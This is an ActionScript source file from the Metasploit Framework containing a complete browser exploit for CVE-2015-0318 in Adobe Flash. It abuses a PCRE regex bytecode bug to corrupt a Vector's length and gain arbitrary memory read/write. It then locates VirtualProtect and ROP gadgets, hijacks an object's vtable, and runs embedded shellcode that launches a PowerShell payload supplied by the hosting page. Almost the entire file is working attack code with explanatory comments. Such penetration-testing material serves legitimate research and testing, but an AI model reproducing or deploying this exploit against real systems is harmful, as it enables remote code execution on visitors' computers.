metasploit-framework/external/source/exploits/CVE-2015-0318/Main.as

704 lines
22 KiB
ActionScript

package
{
/*
To compile (AIRSDK + Flex):
mxmlc Main.as -o Main.swf -strict=false
*/
import mx.utils.Base64Decoder;
import flash.display.*;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var i:int;
private var j:int;
private const OP_END:int = 0;
private const OP_ANY:int = 12;
private const OP_KET:int = 84;
private const OP_CBRA:int = 94;
private const OP_FAIL:int = 108;
private const OP_ACCEPT:int = 109;
private var testSubject:String = 'c01db33f';
private var subject:String = '';
private var count_576:int = 128;
private var pre_576:int = 4;
private var groom_576:Array = new Array(count_576);
private var count_re:int = 8;
private var source_re:Vector.<String> = new Vector.<String>(count_re);
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
private var subjects:Vector.<String> = new Vector.<String>(count_re);
private var count_504:int = 256 * 3;
private var pre_504:int = 30;
private var groom_504:Array = new Array(count_504);
private var junk:Array = new Array();
private var junk_idx:int = 0;
public static function Debug(message:String):void {
ExternalInterface.call('console.log', message);
}
public function MakeRegex(c:String):String {
var i:int;
var r:String = '(c01db33f|^(' + c + '*)'
for (i = 0; i < 39; ++i) {
r += '(A)';
}
r += '\\'
r += '41';
for (i = 0; i < 20; ++i) {
r += 'A';
}
r += '('
r += '\\'
r += 'c'
r += '\uc080'
r += '*)?(?70))';
return r;
}
public function MakeSubject(c:String):String {
var i:int;
var s:String = c;
for (i = 0; i < 0x80 - 0x3d; ++i) {
s += c;
}
for (i = 0; i < 60; ++i) {
s += 'A';
}
return s;
}
public function MakeByteArray(size:int):ByteArray {
var i:int = 0;
var b:ByteArray = new ByteArray();
b.length = size;
for (i = 0; i < size; ++i) {
b.writeByte(0x23);
}
return b;
}
public function Initialise():void {
for (i = 0; i < 8; ++i) {
subjects[i] = MakeSubject(i.toString());
source_re[i] = MakeRegex(i.toString());
}
}
public function CompileRegex():RegExp {
// heap groom the block of regex bytecode we want to follow our
// legitimate bytecode.
for (i = 0; i < count_576; ++i) {
var b:ByteArray = new ByteArray();
b.length = 576;
// regex nop sled :-p
for (j = 0; j < 500; ++j) {
b.writeByte(OP_ANY);
}
// this is the capturing bracket that find_bracket will be
// looking for to match (?70)
b.writeByte(OP_CBRA);
b.writeByte(1); // WORD length of group (only != 0)
b.writeByte(0);
b.writeByte(0); // WORD number of group (must == 70)
b.writeByte(70);
// we use OP_CBRA to write the current match length at one
// dword past the end of our offset_vector.
//
// this is due to another bug in pcre_exec where it is
// assumed that the group number is
// 0 < number < md->offset_max
// and it is only checked that group < md->offset_max, and
// then indexing is done backwards frm the end of the buffer,
// so a group number of 0 lets us index one dword past the end
// of the offset_vector.
b.writeByte(OP_CBRA);
b.writeByte(0); // WORD length of group
b.writeByte(0);
b.writeByte(0); // WORD number of group
b.writeByte(0);
// we're done with executing this regex for now.
b.writeByte(OP_ACCEPT); // yay a match :-)
b.writeByte(OP_KET); // closing KET for group (?70)
b.writeByte(OP_KET); // closing KET for exploit group
b.writeByte(OP_END);
b.writeByte(0);
groom_576[i] = b;
}
// make some gaps
for (i = 0; i < count_576; i += 2) {
groom_576[i].length = 0;
groom_576[i] = null;
}
for (i = 0; i < (pre_576 * 2); i += 2) {
groom_576[i] = MakeByteArray(576);
}
for (i = 0; i < count_re; ++i) {
try {
Debug('[*] compiling regex');
var re:RegExp = new RegExp(source_re[i]);
compiled_re[i] = re;
var match:Object = re.exec(testSubject);
if (match != null && match[0] == 'c01db33f') {
Debug('[*] compiled successfully');
subject = subjects[i];
return re;
}
else {
// that allocation was no good, fill with a bytearray
junk[junk_idx++] = MakeByteArray(576);
}
} catch (error:Error) {
Debug('[*] error compiling regex: ' + error.message);
}
Debug('[*] failed...');
}
Debug('[*] failed first groom');
return null;
}
public function negative(i:uint):uint {
return (~i) + 1;
}
public function CorruptVector(r:RegExp):Vector.<uint> {
var v:Vector.<uint> = null;
var uv:Vector.<uint> = null;
var ov:Vector.<Object> = null;
for (i = 0; i < count_504; ++i) {
v = new Vector.<uint>(124);
v[0] = 0xc01db33f
v[1] = i;
for (j = 2; j < 124; ++j) {
v[j] = 0x88888888;
}
groom_504[i] = v;
}
for (i = 0; i < count_504; i += 3) {
groom_504[i].length = 0;
groom_504[i] = null;
}
for (i = 0; i < pre_504; i += 1) {
junk[junk_idx++] = MakeByteArray(504);
}
v = null;
for (i = 0; i < 128; i += 3) {
try {
Debug('[*] executing regex');
r.exec(subject);
} catch (error:Error) {
Debug('[*] regex execution failed: ' + error.message);
}
for (j = 1; j < count_504; j += 3) {
if (groom_504[j].length != 124) {
Debug('[*] corrupted vector');
v = groom_504[j];
break;
}
}
if (v != null) {
break;
}
Debug('[*] failed...');
junk[junk_idx++] = MakeByteArray(504);
junk[junk_idx++] = MakeByteArray(504);
}
// at this point we have a vector with a corrupt length, hopefully
// followed by another vector of legitimate length.
if (v == null) {
Debug('[*] failed to groom for vector corruption');
return null;
}
if (v[126] != 0xc01db33f) {
Debug('[*] magic check failed!');
}
// read out the index of the following vector; this is the vector
// that we will use for the rest of the exploit
i = v[127];
uv = groom_504[i];
uv.fixed = true;
// corrupt the length of uv so that we can access all of memory :)
v[124] = 0xffffffff;
// first fix the length of the original corrupted array so we don't
// need to worry about it any more...
uv[negative(0x80)] = 0x6e;
// now read back 0x1f8 bytes before the first vector; this must be
// inside the original offset_vector that we overflowed, (so it is
// guaranteed to be safe) and this buffer is directly free'd at the
// end of pcre_exec. as it's quite a large allocation, we can be
// quite sure that it is still on the freelist and we can steal the
// freelist pointer from it, which will likely point to the block
// after our second vector.
uv[0] = uv[negative(0xfe)];
// we really can't do much sanity checking here; all we know is
// that this should be a pointer, and it will be 8 byte aligned.
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
Debug('[*] freelist ptr sanity check failed!');
uv[negative(2)] = 0x6e;
return null;
}
// uv[0] == address of our vector.<uint>'s buffer
uv[0] -= 0x1f0;
return uv;
}
public function FindGCHeap(m:Memory):uint {
// nothing much to say about this; we know that there's a
// FixedBlock at the start of the page that our vector is allocated
// on, and that holds a pointer back to the global GCHeap, which is
// a static singleton in the flash module. I've copied in the class
// declarations for the structures being traversed, for reference.
var fixed_block:uint = m.vector_base & 0xfffff000;
/*
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
-------> FixedAlloc *alloc; // The allocator that owns this block
char items[1];l // Memory for objects starts here
};
*/
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
/*
class FixedAlloc
{
private:
-------> GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
#ifdef MMGC_MEMORY_PROFILER
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
#endif
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
}
*/
var gcheap:uint = m.read_dword(fixed_alloc);
return gcheap;
}
public function FindPwned(m:Memory, gcheap:uint):uint {
// we're going to walk the heap to find it because we don't like
// being crashy. a lazier approach would be to spray a ton of
// objects and scan forward from our array; this is more reliable.
/*
class GCHeap
{
public:
-------> Region *lastRegion;
private:
...
};
*/
// I have no idea why this is at offset 4. GCheap is not virtual
// so perhaps the Flash code has changed since the github avmplus
// release.
var region:uint = m.read_dword(gcheap + 4);
/*
class Region
{
public:
Region *prev;
char *baseAddr;
char *reserveTop;
char *commitTop;
size_t blockId;
};
*/
while (region != 0) {
var region_base:uint = m.read_dword(region + 4);
var region_rtop:uint = m.read_dword(region + 8);
var region_top:uint = m.read_dword(region + 12);
if (region_rtop & 1 != 0) {
Debug('[*] this browser already got pwned, go away');
return 0;
}
m.write_dword(region + 8, region_rtop + 1);
// TODO: we can optimise here as we know the alignment of the
// magic values.
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
if (m.read_dword(ptr) == 0xdecafbad
&& m.read_dword(ptr + 4) == 0xdecafbad) {
// we have found our two magic values
return ptr - 0x10;
}
}
// region = region->prev;
region = m.read_dword(region);
}
return 0;
}
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
var myshellcode:Array = GetPayload();
// at this point we are sandwiched on the stack between the current
// frame and the previous frame; this is hazardous, we need to
// shift our stack back above the current frame or things will go
// wrong(tm).
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
v[i++] = 0x90900000;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// Our payload (see GetPayload)
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
v[i++] = myshellcode[payload_i];
}
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// we just put things back how they were; at least, everything
// important. we need esp and ebp to be correct, which is easy;
// we need ecx to point to the object's vtable and then we can
// just jump to the actual method implementation as though we
// had hooked it.
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
v[i++] = 0x90900000;
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
v[i++] = 0x90000012;
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
v[i++] = ptr;
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
v[i++] = fun;
v[i++] = 0x9090e0ff; // FFE0 jmp eax
}
public function GetPayload():Array {
// Grab the powershell payload from the sh parameter in the HTML file
var b64:Base64Decoder = new Base64Decoder();
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
b64.decode(raw_psh_payload);
var psh_payload:String = b64.toByteArray().toString();
// This is generated from here:
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
var payload:String = "" +
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
// Here we convert the binary string to an array of DWORDS
var arr:Array = new Array();
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
var hex:String = "";
for (var i2:int = 0; i2 < dword.length; i2++) {
var byte:String = dword.charCodeAt(i2).toString(16);
// The toString(16) conversion doesn't print zeros the way we want it.
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
// Another example: For 0x0c, it returns 'c', but it should be '0c'
if (byte == '0') {
byte = "00";
} else if (byte.length == 1) {
byte = '0' + byte;
}
hex += byte;
}
var real_dword:uint = parseInt(hex, 16);
arr.push(real_dword);
}
return arr;
}
public function Main() {
i = 0;
Initialise();
var r:RegExp = CompileRegex();
if (r == null) {
return;
}
Debug("Corrupting Vector");
var v:Vector.<uint> = CorruptVector(r);
if (v == null) {
Debug("CorruptVector returns null");
return;
}
var m:Memory = new Memory(v, v[0], 0x6e);
// at this point we have an absolute read/write primitive letting
// us read and write dwords anywhere in memory, so everything else
// is a technicality.
// we need an exception handler from here, because we have a vector
// that's addressing the whole address space, and if anything goes
// wrong, we want to clean that up or things will get unpleasant.
try {
// first we follow some pointers on the heap back to retrieve
// the address of the static GCHeap object in the flash module.
// this is useful for two reasons; firstly it gives us a
// pointer into the flash module, but secondly (and more
// importantly) we can use the region lists in the GCHeap
// structure to safely scan the heap to find things.
var gcheap:uint = FindGCHeap(m);
if (gcheap == 0) {
return;
}
// now we can parse the flash module in memory, locate useful
// imports and find the stack adjust gadget that we need.
Debug('[*] scanning flash module for gadgets');
var p:PE32 = new PE32(m, gcheap);
Debug(' [-] ' + p.base.toString(16) + ' flash base');
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
// Find this in Flash
// 81 c4 40 00 00 00 add esp, 40h
// c3 ret
var gadget_bytes:ByteArray = new ByteArray();
gadget_bytes.length = 7;
gadget_bytes.writeByte(0x81);
gadget_bytes.writeByte(0xc4);
gadget_bytes.writeByte(0x40);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0xc3);
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
var ret:uint = add_esp_40h_ret + 6;
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
Debug(' [-] ' + ret.toString(16) + ' ret');
// now we create an actionscript class that we can readily
// signature on the heap; we're going to find this object and
// overwrite its vtable pointer to gain control of execution.
Debug('[*] scanning heap to find pwned object');
var pwned:Pwned = new Pwned();
var pwned_ptr:uint = FindPwned(m, gcheap);
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
if (pwned_ptr == 0) {
return;
}
// we have a pointer to the object; save the vtable pointer for
// replacement later and then create a new vtable containing
// our gadget at the correct offset for the 'Rop' function.
// object ptr is actually a ScriptObject* for our ClassClosure?
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
var shellcode:uint = m.vector_base + 4;
WriteShellcode(v, 1, vtable_ptr, method_ptr);
// invoking the method first makes our life simpler; otherwise
// flash will go hunt for the right method, and recovery was
// quite messy.
var a:uint = 0x61616161;
pwned.Rop(
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
// overwrite the method pointer
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
// fix up our vector length already, since we won't need it again.
m.Cleanup();
var PAGE_EXECUTE_READWRITE:uint = 0x40;
// where better to rop than the actual stack :-P
Debug('[*] getting ma rop on');
pwned.Rop(
// ret sled oh yeah!
// actually this is just me lazily making stack space so
// that VirtualProtect doesn't trample all over any of
// flash's stuff and make it have a sad.
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // cf
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
virtual_protect, // BOOL WINAPI VirtualProtect(
shellcode, // ...
shellcode, // LPVOID lpAddress,
0x1000, // SIZE_T dwSize,
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
m.vector_base, // LPDWORD lpflOldProtect
// );
0x41414141, 0x41414141);
Debug('[*] we survived!');
// no need to fix the vtable, as we only overwrote the pointer
// for the Rop method, and it won't get called again.
} catch (e:Error) {
Debug('[!] error: ' + e.message);
} finally {
// we *always* need to clean up our corrupt vector as flash
// will try to zero it out later otherwise...
Debug('[*] cleaning up corrupted vector');
m.Cleanup();
}
}
}
}